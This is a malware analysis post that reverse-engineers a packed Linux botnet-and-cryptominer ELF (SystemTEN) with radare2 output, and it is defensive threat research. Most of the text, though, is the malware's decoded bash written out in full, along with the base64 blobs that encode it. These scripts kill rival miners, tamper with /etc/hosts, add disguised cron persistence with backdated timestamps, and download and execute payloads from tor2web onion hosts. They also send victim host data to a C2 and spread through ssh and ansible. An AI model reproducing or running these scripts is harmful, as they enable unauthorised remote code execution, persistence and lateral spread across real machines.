// This is a post by malwaremustdie.org
// This malware (SystemTEN public threat) is packed with "savvier" custom packer now.. (still a LOL! :D)
// (wait until you see that bash parser base64)..
// Same threat origin previously posted in this thread: https://old.reddit.com/r/LinuxMalware/comments/bfaea2/fun_in_dissecting_lsd_packer_elf_golang_miner/ 
// What's new? After unpacked as plain ELF it is doing series of echo-base64-bash-exec commands for installer, updater of botnet/bots (and miners) binaries. noted: onions flavor.. So PRC is on serious cryptomining effort? :)

// The hash : fbae407baa7e23c9bb59780bd2488757
// The unpacked: 6ae9ae917cc2355c7c2e7d0df2067634 (my way in unpacking this, see my slides in R2CON2018 or my post in blog.malwaremustdie.org about Linux/AirDropBot the bonus part/packer easy handling)
// This research post: https://old.reddit.com/r/LinuxMalware/comments/f26amt/new_systemten_botnet_miner_threat_now_wother/
// thanks RJ, Ceph for the pokes

// if you unpacked it correctly you will see this real binary coded like this :

[0x00400314]> ie
[Entrypoints]
vaddr=0x00400314 paddr=0x00000314 haddr=0x00000018 hvaddr=0x00400018 type=program
1 entrypoints

/ 111: entry0 ();
|           ; var int64_t var_8h @ rsp+0x8
|           0x00400314      4831ed         xor rbp, rbp
|           0x00400317      4889e7         mov rdi, rsp
|           0x0040031a      488d35dffcbf.  lea rsi, [0x00000000]
|           0x00400321      4883e4f0       and rsp, 0xfffffffffffffff0
|           0x00400325      e800000000     call 0x40032a
|           ; CALL XREF from entry0 @ 0x400325
|           0x0040032a      488b37         mov rsi, qword [rdi]
|           0x0040032d      488d5708       lea rdx, [rdi + 8]
|           0x00400331      4531c9         xor r9d, r9d
|           0x00400334      41b841404000   mov r8d, 0x404041           ; 'A@@' ; "P\xe8y\xc3\xff\xffX\xc3"
|           0x0040033a      b920014000     mov ecx, fcn.00400120       ; 0x400120 ; "P\xe8*\x03"
|           0x0040033f      bf52014000     mov edi, 0x400152
\       ,=< 0x00400344      e92a040000     jmp loc.00400773

// this is the main function...

[0x00400130]> pdf
/ 484: fcn.00400130 (int64_t arg1, int64_t arg2, int64_t arg4);
|           ; var int64_t var_ch @ rsp+0xc
|           ; var int64_t var_eh @ rsp+0xe
|           ; var int64_t var_14h @ rsp+0x14
|           ; arg int64_t arg1 @ rdi
|           ; arg int64_t arg2 @ rsi
|           ; arg int64_t arg4 @ rcx
|           ; CALL XREF from fcn.00400130 @ 0x400236
|           ; CALL XREF from rax @ +0x29
|           0x00400130      4883ec18       sub rsp, 0x18
|           0x00400134      897c240c       mov dword [var_ch], edi     ; arg1
|           0x00400138      e87e060000     call 0x4007bb
|           0x0040013d      e87a060000     call fcn.004007bc
|           0x00400142      31c0           xor eax, eax
|           0x00400144      e8553e0000     call fcn.00403f9e
|           0x00400149      8b7c240c       mov edi, dword [var_ch]
|           0x0040014d      e87e120000     call fcn.004013d0
|           ; DATA XREF from entry0 @ 0x40033f
|           0x00400152      4154           push r12
|           0x00400154      31ff           xor edi, edi
|           0x00400156      55             push rbp
|           0x00400157      4889f5         mov rbp, rsi                ; arg2
|           0x0040015a      53             push rbx
|           0x0040015b      4883ec20       sub rsp, 0x20
|           0x0040015f      e83e0f0000     call fcn.004010a2
|           0x00400164      bf01000000     mov edi, 1
|           0x00400169      4c8d64240e     lea r12, [var_eh]
|           0x0040016e      e82f0f0000     call fcn.004010a2
|           0x00400173      bf02000000     mov edi, 2
|           0x00400178      e8250f0000     call fcn.004010a2
                :

// significant data used by vars:

0x4060 2044 2044 echo ZXh...p4Cg== |base64 -d|bash
0x55d2 2044 2044 echo ZXh...I0Cg== |base64 -d|bash
0x717c 2044 2044 echo ZXh...RzCgo= |base64 -d|bash
0x8392 866 865 echo ZXh...RvbmUK |base64 -d|bash
0x86f4 802 801 echo ZXh...YXNoCg== |base64 -d|bash
0x8a16 343 342 echo AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA;echo bHMgL3RtcC8uWDExLXVuaXggfHwgbWtkaXIgLXAgL3RtcC8uWDExLXVuaXgK|base64 -d|bash
0x8b6d 18 17 /tmp/.X11-unix/00
0x8ba0 63 62 0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz
0x8bdf 10 9 /dev/null
0x8bec 8 7 /bin/sh
0x8c30 21 20 __vdso_clock_gettime
0x8c45 10 9 LINUX_2.6
0x8f20 17 16 0123456789ABCDEF
0x8ce0 19 18 -0X+0X 0X-0x+0x 0x
0x8d06 9 8 +   0X0x
0x8d0f 7 6 (null)
  :

////////// The unpacked binary work flow in easy understandable command work reversed ala r2 pdfs ///////

(randomized name 6 digit [a-zA-Z0-9]{6}) and forking
(after forks)
call    ____sys_exit_group (0x04013D0) 
 :
call    ____sys_close (0x04010A2)
call    ____sys_close   "
call    ____sys_close   "
call    ____sys_unlink (0x0401124)　// self delete
call    ____base64 (0x040047D)
call    ____sys_prctl (0x04008BB)
call    ____some_print_or_write (0x0400F00)
call    ____sys_gettime (0x040107B)
call    ____sys_getPID (0x04010DA)
 :
lea     rdi, ___malware_lock_base64_bash_CMD ; "echo AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"...
call    ____exec_sh (0x04009CA)
lea     rdi, ____malware_lock_file ; "/tmp/.X11-unix/00"
call    ____sys_fcntl (0x04007DD)
 :
call    ____sys_flock (0x04008A3)
call    ____sys_fork (0x040093F)
lea     rsi, ____writePID_args ; "%d\n
call    ____write_and_base_bot_start (0x0400E58)
 :
call    ____err_trap_cleanup (0x04010F4)
call    ____to_exec_initial_base64_bash_CMD (0x040052D)
call    ____err_trap_cleanup (0x04010F4)
call    ____to_exec_initial_base64_bash_CMD (0x040052D)
call    ____err_trap_cleanup (0x04010F4)
call    ____to_exec_updater_base64_bash_CMD (0x0400501)
:
call    ____err_trap_cleanup  (0x04010F4)
call    ____to_exec_persistence_and_installer__base64_bash_CMD (004004D5)
call    ____err_trap_cleanup (0x04010F4)
call    ____to_exec_MINER_install_base64_bash_CMD (00400559)
call    ____to_exec_initial_base64_bash_CMD (0x040052D)
call    ____err_trap_cleanup  (0x04010F4)
call    ____theXQL_hyphen_sigs ; "XQL-" (0040091D)
:
call    ____err_trap_cleanup  (0x04010F4)
call    ____to_exec_MINER_updates_base64_bash_CMD (0x0400585)
call    ____to_exec_initial_base64_bash_CMD (0x040052D)
call    ____theXQL_hyphen_sigs : "XQL-" (0040091D)
call    ____err_trap_cleanup  (0x04010F4)


///////// reversing pads w/more details /////

// lock file is in:

/tmp/.X11-unix/00

// contains PID of the unpacked after forked this mal process:
// bad actor needs this data for uninstall purpose later on upon updates etc

00000000  32 37 38 30 0a  |2780.|
00000005

//.. so this ELF is basically executing series of bash command encodd in b64
// first of series command is:

echo bHMgL3RtcC8uWDExLXVuaXggfHwgbWtkaXIgLXAgL3RtcC8uWDExLXVuaXgK|base64 -d|bash

// which means (below) for the lock

ls /tmp/.X11-unix || mkdir -p /tmp/.X11-unix

// Following by other initial base64 bash execution, translated below: it is for uninstalling previous malware

exec &>/dev/null
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
find ~/.ddg/*|xargs fuser -k
find /etc/cron*|xargs chattr -i
find /var/spool/cron*|xargs chattr -i
crontab -l |grep -ivE ".\/oka|\/upd|aliyun|asfasf|bashtemp|curl|jquer.js|kill_m|mmm|systemd|tmp00|trojan|virus|wget|x1|x11|xzfix|th2ps"|crontab -
grep -RE ".\/oka|\/upd|aliyun|asfasf|bashtemp|curl|jquer.js|kill_m|mmm|systemd|tmp00|trojan|virus|wget|x1|x11|xzfix|th2ps" /etc/cron.*|cut -f 1 -d :|xargs rm -f
pkill -9 -f "./cron|./oka|/tmp/ddgs|/tmp/idk|/tmp/java|/tmp/keep|/tmp/udevs|/tmp/udk|/tmp/update.sh|/tmp/yarn|/usr/bin/netfs|8220|AliHids|AliYunDun|Donald|HT8s|Jonason|SzdXM|X13-unix|X17-unix|\[stea\]|aegis_|aliyun-service|azipl|bash64|cr.sh|crloger|cronds|crun|cryptonight|curn|currn|ddgs|dhcleint|fs-manager|gf128mul|havegeds|httpdz|irqbalanced|java-c|kaudited|kerberods|khugepageds|kintegrityds|kpsmouseds|kswaped|kthrotlds|kw0|kworkerds|kworkre|kwroker|Macron|mewrs|migrations|miner|mmm|mr.sh|muhsti|mygit|netdns|networkservice|orgfs|pamdicks|pastebin|qW3xT|qwefdas|rctlcli|sleep|stratum|sustes|sustse|sysguard|systeamd|systemd-network|sysupdate|t00ls|thisxxs|Trump|update.sh|vTtHH|watchbog|watchbug|watchog|wipefs|wnTKYg|x3Wq|xig|xmr|zer0"
netstat -antp|grep -E "103.3.62.64|104.140.201.102|104.140.201.42|104.140.201.58|104.140.201.62|104.140.244.186|107.191.99.221|107.191.99.95|119.9.76.107|123.59.232.42|131.153.56.98|131.153.76.130|138.201.36.249|139.162.81.90|139.99.101.197|139.99.101.198|139.99.101.232|139.99.102.70|139.99.102.71|139.99.102.72|139.99.102.73|139.99.102.74|139.99.120.50|139.99.120.73|139.99.120.75|139.99.123.196|139.99.124.170|139.99.125.38|139.99.156.30|139.99.68.128|142.44.242.100|142.44.243.6|144.217.14.109|144.217.14.139|149.202.42.174|149.202.83.171|151.80.144.188|151.80.144.253|158.69.25.71|158.69.25.77|164.132.109.110|172.104.165.191|172.105.211.250|172.83.155.151:80|178.63.100.197|192.99.69.170|207.246.100.198|213.32.29.143|213.32.74.157|217.182.169.148|37.187.154.79|37.187.95.110|37.59.43.131|37.59.43.136|37.59.44.193|37.59.44.93|37.59.45.174|37.59.54.205|37.59.55.60|37.9.3.26|45.32.71.82|45.76.65.223|47.101.30.124|51.15.54.102|51.15.55.100|51.15.55.162|51.15.58.224|51.15.65.182|51.15.67.17|51.15.69.136|51.15.78.68|51.255.34.118|51.255.34.79|51.255.34.80|5.196.13.29|5.196.23.240|5.196.26.96|54.37.7.208|61.155.221.74|66.42.105.146|79.137.82.5|88.99.193.240|88.99.242.92|91.121.140.167|91.121.2.76|92.222.10.59|92.222.180.119|94.130.12.27|94.130.12.30|94.130.165.85|94.130.165.87|94.23.23.52|94.23.247.226"|awk {'print $NF'} |cut -d/ -f1|xargs kill -9
rm -f ~/.{systemd*,tmp*,trump*,wget*,xzfix*,[Aa]liyun*} /etc/cron.d/{*systemd*,*trump*,*xzfix*,*liyun*} /opt/{*systemd*,*trump*,*xzfix*,[Aa]liyun*}
kill -9 $(head -1/tmp/.X11-unix/01)
kill -9 $(head -1 /tmp/.X11-unix/0)
grep -q tence /etc/hosts && sed -i '/tence/d' /etc/hosts
grep -q trump /etc/hosts && sed -i '/trump/d' /etc/hosts
grep -q tor2w /etc/hosts && sed -i '/tor2w/d' /etc/hosts
grep -q "0.0.0.0 aliyun.one" /etc/hosts || echo "0.0.0.0 aliyun.one" >> /etc/hosts
grep -q "0.0.0.0 lsd.systemten.org" /etc/hosts || echo "0.0.0.0 lsd.systemten.org" >> /etc/hosts
grep -q "0.0.0.0 pastebin.com" /etc/hosts || echo "0.0.0.0 pastebin.com" >> /etc/hosts
grep -q "0.0.0.0 pm.cpuminerpool.com" /etc/hosts || echo "0.0.0.0 pm.cpuminerpool.com" >> /etc/hosts
grep -q "0.0.0.0 systemten.org" /etc/hosts || echo "0.0.0.0 systemten.org" >> /etc/hosts

/////// the  persistence module is installed in crontab, dropped transparent persistence sh script in home dir:

45 * * * * /home/blah/.kpccv.sh > /dev/null 2>&1 &

// persistence script date is tweaked]

1514 May 13  2012 .kpccv.sh*

// inside:

cat /home/blah/.kpccv.sh 

#!/bin/bash
exec &>/dev/null
echo ZXhlYyAmPi9kZXYvbnVsbApleHBvcnQgUEFUSD0kUEFUSDovYmluOi9zYmluOi91c3IvYmluOi91c3Ivc2JpbjovdXNyL2xvY2FsL2JpbjovdXNyL2xvY2FsL3NiaW4KdD10ZW5jZW50eGp5NWtwY2N2CmRpcj0kKGdyZXAgeDokKGlkIC11KTogL2V0Yy9wYXNzd2R8Y3V0IC1kOiAtZjYpCmZvciBpIGluICRkaXIgL3RtcCAvdmFyL3RtcCAvZGV2L3NobSAvdXNyL2JpbiA7ZG8gZWNobyBleGl0ID4gJGkvaSAmJiBjaG1vZCAreCAkaS9pICYmIGNkICRpICYmIC4vaSAmJiBybSAtZiBpICYmIGJyZWFrO2RvbmUKeCgpIHsKZj0vaW50CmQ9Li8kKGRhdGV8bWQ1c3VtfGN1dCAtZjEgLWQtKQp3Z2V0IC10MSAtVDk5IC1xVS0gLS1uby1jaGVjay1jZXJ0aWZpY2F0ZSAkMSRmIC1PJGQgfHwgY3VybCAtbTk5IC1mc1NMa0EtICQxJGYgLW8kZApjaG1vZCAreCAkZDskZDtybSAtZiAkZAp9CnUoKSB7Cng9L2Nybgp3Z2V0IC10MSAtVDk5IC1xVS0gLU8tIC0tbm8tY2hlY2stY2VydGlmaWNhdGUgJDEkeCB8fCBjdXJsIC1tOTkgLWZzU0xrQS0gJDEkeAp9CmZvciBoIGluIGQyd2ViLm9yZyBvbmlvbi5tbiB0b3Iyd2ViLmlvIHRvcjJ3ZWIudG8gb25pb24udG8gb25pb24uaW4ubmV0IDR0b3IubWwgb25pb24uZ2xhc3MgY2l2aWNsaW5rLm5ldHdvcmsgdG9yMndlYi5zdSBvbmlvbi5seSBvbmlvbi5wZXQgb25pb24ud3MKZG8KaWYgISBscyAvcHJvYy8kKGNhdCAvdG1wLy5YMTEtdW5peC8wMHxoZWFkIC1uIDEpL2lvOyB0aGVuCnggdGVuY2VudHhqeTVrcGNjdi4kaAplbHNlCmJyZWFrCmZpCmRvbmUKCmlmICEgbHMgL3Byb2MvJChjYXQgL3RtcC8uWDExLXVuaXgvMDB8aGVhZCAtbiAxKS9pbzsgdGhlbgooCnUgJHQuZDJ3ZWIub3JnIHx8CnUgJHQub25pb24ubW4gfHwKdSAkdC50b3Iyd2ViLmlvIHx8CnUgJHQudG9yMndlYi50byB8fAp1ICR0Lm9uaW9uLnRvIHx8CnUgJHQub25pb24uaW4ubmV0IHx8CnUgJHQuNHRvci5tbCB8fAp1ICR0Lm9uaW9uLmdsYXNzIHx8CnUgJHQuY2l2aWNsaW5rLm5ldHdvcmsgfHwKdSAkdC50b3Iyd2ViLnN1IHx8CnUgJHQub25pb24ubHkgfHwKdSAkdC5vbmlvbi5wZXQgfHwKdSAkdC5vbmlvbi53cwopfGJhc2gKZmkK|base64 -d|bash

// means:

exec &>/dev/null
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
t=tencentxjy5kpccv
dir=$(grep x:$(id -u): /etc/passwd|cut -d: -f6)
for i in $dir /tmp /var/tmp /dev/shm /usr/bin ;do echo exit > $i/i && chmod +x $i/i && cd $i && ./i && rm -f i && break;done
x() {
f=/int
d=./$(date|md5sum|cut -f1 -d-)
wget -t1 -T99 -qU- --no-check-certificate $1$f -O$d || curl -m99 -fsSLkA- $1$f -o$d
chmod +x $d;$d;rm -f $d
}
u() {
x=/crn
wget -t1 -T99 -qU- -O- --no-check-certificate $1$x || curl -m99 -fsSLkA- $1$x
}
for h in d2web.org onion.mn tor2web.io tor2web.to onion.to onion.in.net 4tor.ml onion.glass civiclink.network tor2web.su onion.ly onion.pet onion.ws
do
if ! ls /proc/$(cat /tmp/.X11-unix/00|head -n 1)/io; then
x tencentxjy5kpccv.$h
else
break
fi
done

if ! ls /proc/$(cat /tmp/.X11-unix/00|head -n 1)/io; then
(
u $t.d2web.org ||
u $t.onion.mn ||
u $t.tor2web.io ||
u $t.tor2web.to ||
u $t.onion.to ||
u $t.onion.in.net ||
u $t.4tor.ml ||
u $t.onion.glass ||
u $t.civiclink.network ||
u $t.tor2web.su ||
u $t.onion.ly ||
u $t.onion.pet ||
u $t.onion.ws
)|bash
fi


//////// additional -1-  The other base64 bash execution /////////
//////// this part is for installing persistence module & download install payload /////////

exec &>/dev/null
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
d=$(grep x:$(id -u): /etc/passwd|cut -d: -f6)
x() {
if ! ls /etc/cron.d/0qcloud-stargate-admin-start; then
chattr -i /opt/qcloud-stargate-admin-start.sh /etc/cron.d/0qcloud-stargate-admin-start
echo -e "#\x21/bin/bash\nexec &>/dev/null\necho ZXhlYyAmPi9kZXYvbnVsbApleHBvcnQgUEFUSD0kUEFUSDovYmluOi9zYmluOi91c3IvYmluOi91c3Ivc2JpbjovdXNyL2xvY2FsL2JpbjovdXNyL2xvY2FsL3NiaW4KdD10ZW5jZW50eGp5NWtwY2N2CmRpcj0kKGdyZXAgeDokKGlkIC11KTogL2V0Yy9wYXNzd2R8Y3V0IC1kOiAtZjYpCmZvciBpIGluICRkaXIgL3RtcCAvdmFyL3RtcCAvZGV2L3NobSAvdXNyL2JpbiA7ZG8gZWNobyBleGl0ID4gJGkvaSAmJiBjaG1vZCAreCAkaS9pICYmIGNkICRpICYmIC4vaSAmJiBybSAtZiBpICYmIGJyZWFrO2RvbmUKeCgpIHsKZj0vaW50CmQ9Li8kKGRhdGV8bWQ1c3VtfGN1dCAtZjEgLWQtKQp3Z2V0IC10MSAtVDk5IC1xVS0gLS1uby1jaGVjay1jZXJ0aWZpY2F0ZSAkMSRmIC1PJGQgfHwgY3VybCAtbTk5IC1mc1NMa0EtICQxJGYgLW8kZApjaG1vZCAreCAkZDskZDtybSAtZiAkZAp9CnUoKSB7Cng9L2Nybgp3Z2V0IC10MSAtVDk5IC1xVS0gLU8tIC0tbm8tY2hlY2stY2VydGlmaWNhdGUgJDEkeCB8fCBjdXJsIC1tOTkgLWZzU0xrQS0gJDEkeAp9CmZvciBoIGluIGQyd2ViLm9yZyBvbmlvbi5tbiB0b3Iyd2ViLmlvIHRvcjJ3ZWIudG8gb25pb24udG8gb25pb24uaW4ubmV0IDR0b3IubWwgb25pb24uZ2xhc3MgY2l2aWNsaW5rLm5ldHdvcmsgdG9yMndlYi5zdSBvbmlvbi5seSBvbmlvbi5wZXQgb25pb24ud3MKZG8KaWYgISBscyAvcHJvYy8kKGNhdCAvdG1wLy5YMTEtdW5peC8wMHxoZWFkIC1uIDEpL2lvOyB0aGVuCnggdGVuY2VudHhqeTVrcGNjdi4kaAplbHNlCmJyZWFrCmZpCmRvbmUKCmlmICEgbHMgL3Byb2MvJChjYXQgL3RtcC8uWDExLXVuaXgvMDB8aGVhZCAtbiAxKS9pbzsgdGhlbgooCnUgJHQuZDJ3ZWIub3JnIHx8CnUgJHQub25pb24ubW4gfHwKdSAkdC50b3Iyd2ViLmlvIHx8CnUgJHQudG9yMndlYi50byB8fAp1ICR0Lm9uaW9uLnRvIHx8CnUgJHQub25pb24uaW4ubmV0IHx8CnUgJHQuNHRvci5tbCB8fAp1ICR0Lm9uaW9uLmdsYXNzIHx8CnUgJHQuY2l2aWNsaW5rLm5ldHdvcmsgfHwKdSAkdC50b3Iyd2ViLnN1IHx8CnUgJHQub25pb24ubHkgfHwKdSAkdC5vbmlvbi5wZXQgfHwKdSAkdC5vbmlvbi53cwopfGJhc2gKZmkK|base64 -d|bash" > /opt/qcloud-stargate-admin-start.sh
echo "$(echo $((RANDOM%59))) * * * * root /opt/qcloud-stargate-admin-start.sh > /dev/null 2>&1 &" > /etc/cron.d/0qcloud-stargate-admin-start
touch -r /bin/grep /opt/qcloud-stargate-admin-start.sh
touch -r /bin/grep /etc/cron.d/0qcloud-stargate-admin-start
chmod +x /opt/qcloud-stargate-admin-start.sh
fi
if ! crontab -l | grep ^[0-9] | grep qcloud-stargate-admin-start; then
chattr -i $d/.qcloud-stargate-admin-start.sh
echo -e "#\x21/bin/bash\nexec &>/dev/null\necho ZXhlYyAmPi9kZXYvbnVsbApleHBvcnQgUEFUSD0kUEFUSDovYmluOi9zYmluOi91c3IvYmluOi91c3Ivc2JpbjovdXNyL2xvY2FsL2JpbjovdXNyL2xvY2FsL3NiaW4KdD10ZW5jZW50eGp5NWtwY2N2CmRpcj0kKGdyZXAgeDokKGlkIC11KTogL2V0Yy9wYXNzd2R8Y3V0IC1kOiAtZjYpCmZvciBpIGluICRkaXIgL3RtcCAvdmFyL3RtcCAvZGV2L3NobSAvdXNyL2JpbiA7ZG8gZWNobyBleGl0ID4gJGkvaSAmJiBjaG1vZCAreCAkaS9pICYmIGNkICRpICYmIC4vaSAmJiBybSAtZiBpICYmIGJyZWFrO2RvbmUKeCgpIHsKZj0vaW50CmQ9Li8kKGRhdGV8bWQ1c3VtfGN1dCAtZjEgLWQtKQp3Z2V0IC10MSAtVDk5IC1xVS0gLS1uby1jaGVjay1jZXJ0aWZpY2F0ZSAkMSRmIC1PJGQgfHwgY3VybCAtbTk5IC1mc1NMa0EtICQxJGYgLW8kZApjaG1vZCAreCAkZDskZDtybSAtZiAkZAp9CnUoKSB7Cng9L2Nybgp3Z2V0IC10MSAtVDk5IC1xVS0gLU8tIC0tbm8tY2hlY2stY2VydGlmaWNhdGUgJDEkeCB8fCBjdXJsIC1tOTkgLWZzU0xrQS0gJDEkeAp9CmZvciBoIGluIGQyd2ViLm9yZyBvbmlvbi5tbiB0b3Iyd2ViLmlvIHRvcjJ3ZWIudG8gb25pb24udG8gb25pb24uaW4ubmV0IDR0b3IubWwgb25pb24uZ2xhc3MgY2l2aWNsaW5rLm5ldHdvcmsgdG9yMndlYi5zdSBvbmlvbi5seSBvbmlvbi5wZXQgb25pb24ud3MKZG8KaWYgISBscyAvcHJvYy8kKGNhdCAvdG1wLy5YMTEtdW5peC8wMHxoZWFkIC1uIDEpL2lvOyB0aGVuCnggdGVuY2VudHhqeTVrcGNjdi4kaAplbHNlCmJyZWFrCmZpCmRvbmUKCmlmICEgbHMgL3Byb2MvJChjYXQgL3RtcC8uWDExLXVuaXgvMDB8aGVhZCAtbiAxKS9pbzsgdGhlbgooCnUgJHQuZDJ3ZWIub3JnIHx8CnUgJHQub25pb24ubW4gfHwKdSAkdC50b3Iyd2ViLmlvIHx8CnUgJHQudG9yMndlYi50byB8fAp1ICR0Lm9uaW9uLnRvIHx8CnUgJHQub25pb24uaW4ubmV0IHx8CnUgJHQuNHRvci5tbCB8fAp1ICR0Lm9uaW9uLmdsYXNzIHx8CnUgJHQuY2l2aWNsaW5rLm5ldHdvcmsgfHwKdSAkdC50b3Iyd2ViLnN1IHx8CnUgJHQub25pb24ubHkgfHwKdSAkdC5vbmlvbi5wZXQgfHwKdSAkdC5vbmlvbi53cwopfGJhc2gKZmkK|base64 -d|bash" > $d/.qcloud-stargate-admin-start.sh
(echo "$(echo $((RANDOM%59))) * * * * $d/.qcloud-stargate-admin-start.sh > /dev/null 2>&1 &";crontab -l|grep -v qcloud-stargate-admin-start)|crontab -
touch -r /bin/grep $d/.qcloud-stargate-admin-start.sh
chmod +x $d/.qcloud-stargate-admin-start.sh
fi
}
x

// first and second part of b64 above means:

exec &>/dev/null
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
t=tencentxjy5kpccv
dir=$(grep x:$(id -u): /etc/passwd|cut -d: -f6)
for i in $dir /tmp /var/tmp /dev/shm /usr/bin ;do echo exit > $i/i && chmod +x $i/i && cd $i && ./i && rm -f i && break;done
x() {
f=/int
d=./$(date|md5sum|cut -f1 -d-)
wget -t1 -T99 -qU- --no-check-certificate $1$f -O$d || curl -m99 -fsSLkA- $1$f -o$d
chmod +x $d;$d;rm -f $d
}
u() {
x=/crn
wget -t1 -T99 -qU- -O- --no-check-certificate $1$x || curl -m99 -fsSLkA- $1$x
}
for h in d2web.org onion.mn tor2web.io tor2web.to onion.to onion.in.net 4tor.ml onion.glass civiclink.network tor2web.su onion.ly onion.pet onion.ws
do
if ! ls /proc/$(cat /tmp/.X11-unix/00|head -n 1)/io; then
x tencentxjy5kpccv.$h
else
break
fi
done

if ! ls /proc/$(cat /tmp/.X11-unix/00|head -n 1)/io; then
(
u $t.d2web.org ||
u $t.onion.mn ||
u $t.tor2web.io ||
u $t.tor2web.to ||
u $t.onion.to ||
u $t.onion.in.net ||
u $t.4tor.ml ||
u $t.onion.glass ||
u $t.civiclink.network ||
u $t.tor2web.su ||
u $t.onion.ly ||
u $t.onion.pet ||
u $t.onion.ws
)|bash
fi

//////// additional -2- ///////
//////// the uninstaller and updating stuff is in here... //////

exec &>/dev/null
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
c="curl -m99 -fsSLkA-"
w="wget -t1 -T99 -qU- -O- --no-check-certificate"
t="tencentxjy5kpccv"
xssh() {
ssh -oBatchMode=yes -oConnectTimeout=5 -oPasswordAuthentication=no -oPubkeyAuthentication=yes -oStrictHostKeyChecking=no $1@$2 'echo ZXhlYyAmPi9kZXYvbnVsbApleHBvcnQgUEFUSD0kUEFUSDovYmluOi9zYmluOi91c3IvYmluOi91c3Ivc2JpbjovdXNyL2xvY2FsL2JpbjovdXNyL2xvY2FsL3NiaW4KeCgpIHsKZj0vaW50LiQodW5hbWUgLW0pCmQ9Li8kKGRhdGV8bWQ1c3VtfGN1dCAtZjEgLWQtKQp3Z2V0IC10MSAtVDk5IC1xVS0gLS1uby1jaGVjay1jZXJ0aWZpY2F0ZSAkMSRmIC1PJGQgfHwgY3VybCAtbTk5IC1mc1NMa0EtICQxJGYgLW8kZApjaG1vZCAreCAkZDskZDtybSAtZiAkZAp9CmRpcj0kKGdyZXAgeDokKGlkIC11KTogL2V0Yy9wYXNzd2R8Y3V0IC1kOiAtZjYpCmZvciBpIGluIC91c3IvYmluICRkaXIgL2Rldi9zaG0gL3RtcCAvdmFyL3RtcDtkbyB0b3VjaCAkaS9pICYmIGNkICRpICYmIHJtIC1mIGkgJiYgYnJlYWs7ZG9uZQpmb3IgaCBpbiBkMndlYi5vcmcgb25pb24ubW4gdG9yMndlYi5pbyBvbmlvbi50byBvbmlvbi5pbi5uZXQgNHRvci5tbCBvbmlvbi5nbGFzcyBjaXZpY2xpbmsubmV0d29yayB0b3Iyd2ViLnN1IG9uaW9uLmx5IG9uaW9uLnBldCBvbmlvbi53cwpkbwppZiAhIGxzIC9wcm9jLyQoY2F0IC90bXAvLlgxMS11bml4LzAwfGhlYWQgLW4gMSkvaW87IHRoZW4KeCB0ZW5jZW50eGp5NWtwY2N2LiRoCmVsc2UKYnJlYWsKZmkKZG9uZQo=|base64 -d|bash'
}
qwer() {
f=/bot
d=$(curl -4fsSLk ip.sb||wget -4qO- ip.sb)_$(whoami)_$(uname -m)_$(uname -n)_$(crontab -l|base64 -w0)
$w --referer=$d $1$f || $c -e$d $1$f
}
asdf() {
pkill -9 -f tracepath

f=/trc
d=./$(date|md5sum|cut -f1 -d-)
dir=$(grep x:$(id -u): /etc/passwd|cut -d: -f6)
for i in /usr/bin $dir /dev/shm /tmp /var/tmp;do touch $i/asdf && cd $i && rm -f asdf && break;done
wget -t1 -T99 -qU- --no-check-certificate $1$f -O$d || $c $1$f -o$d
chmod +x $d;$d;rm -f $d
}
zxcv() {
ansible all -m shell -a 'echo ZXhlYyAmPi9kZXYvbnVsbApleHBvcnQgUEFUSD0kUEFUSDovYmluOi9zYmluOi91c3IvYmluOi91c3Ivc2JpbjovdXNyL2xvY2FsL2JpbjovdXNyL2xvY2FsL3NiaW4KeCgpIHsKZj0vaW50LiQodW5hbWUgLW0pCmQ9Li8kKGRhdGV8bWQ1c3VtfGN1dCAtZjEgLWQtKQp3Z2V0IC10MSAtVDk5IC1xVS0gLS1uby1jaGVjay1jZXJ0aWZpY2F0ZSAkMSRmIC1PJGQgfHwgY3VybCAtbTk5IC1mc1NMa0EtICQxJGYgLW8kZApjaG1vZCAreCAkZDskZDtybSAtZiAkZAp9CmRpcj0kKGdyZXAgeDokKGlkIC11KTogL2V0Yy9wYXNzd2R8Y3V0IC1kOiAtZjYpCmZvciBpIGluIC91c3IvYmluICRkaXIgL2Rldi9zaG0gL3RtcCAvdmFyL3RtcDtkbyB0b3VjaCAkaS9pICYmIGNkICRpICYmIHJtIC1mIGkgJiYgYnJlYWs7ZG9uZQpmb3IgaCBpbiBkMndlYi5vcmcgb25pb24ubW4gdG9yMndlYi5pbyBvbmlvbi50byBvbmlvbi5pbi5uZXQgNHRvci5tbCBvbmlvbi5nbGFzcyBjaXZpY2xpbmsubmV0d29yayB0b3Iyd2ViLnN1IG9uaW9uLmx5IG9uaW9uLnBldCBvbmlvbi53cwpkbwppZiAhIGxzIC9wcm9jLyQoY2F0IC90bXAvLlgxMS11bml4LzAwfGhlYWQgLW4gMSkvaW87IHRoZW4KeCB0ZW5jZW50eGp5NWtwY2N2LiRoCmVsc2UKYnJlYWsKZmkKZG9uZQo=|base64 -d|bash'
